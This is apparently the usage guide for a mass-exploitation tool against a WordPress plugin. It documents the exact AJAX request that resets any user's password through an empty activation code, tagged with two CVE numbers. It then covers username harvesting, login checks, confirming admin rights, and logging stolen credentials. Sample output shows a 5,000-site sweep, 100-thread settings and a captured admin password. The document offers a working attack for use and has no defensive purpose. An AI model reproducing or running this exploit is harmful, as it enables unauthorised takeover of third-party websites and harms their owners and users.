For each target site:

  1. AJAX Probe (fast path — IDs 1 and 2)
     POST /wp-admin/admin-ajax.php
       action=pravel_change_password        (CVE-2026-12417)
       action=pravel_invoice_change_password (CVE-2026-12416)
       reset_user_id=<id>
       new_password_custom=<fixed_password>
       reset_activation_code=              ← empty — bypasses the check

     Response on success:
       {"activation":true,"message":"Password has been changed successfully"}

  2. Username Resolution (lazy — only runs after confirmed reset)
     a. GET /wp-json/wp/v2/users/<id>     ← exact username for the reset ID
     b. "admin"                            ← always tried second
     c. GET /wp-json/wp/v2/users          ← REST API bulk list
     d. /?author=1..3 redirect            ← author archive scan

  3. Login Verification
     POST /wp-login.php
       log=<username>  pwd=<password>
     Check for wordpress_logged_in cookie.

  4. Admin Confirmation
     GET /wp-admin/users.php
     Requires list_users capability — administrators only.
     Any deny message or login redirect → not admin, skip.

  5. On Confirmed Admin
     Save to scan_results/pravel_admin_success.txt:
       SITE | LOGIN URL | user | pass | exploit | id
     Print result line to terminal.

  6. Extended Sweep (if IDs 1–2 both fail)
     Repeat steps 1–5 for user IDs 3 through 20.

  [1/5000]  https://target.com          NO
  [2/5000]  https://victim.com          ADMIN=admin  pass=Nxploited@123KSa  exploit=pravel_change_password id=1 | https://victim.com/wp-login.php
  [3/5000]  https://another.com         NO

[2026-06-24 16:00:00] SITE=https://victim.com | LOGIN=https://victim.com/wp-login.php | user=admin | pass=Nxploited@123KSa | exploit=pravel_change_password | id=1

python Cl.py

  Targets file (one URL per line) [targets.txt]: sites.txt
  Threads (concurrent sites) [50]: 100

pip install requests rich colorama urllib3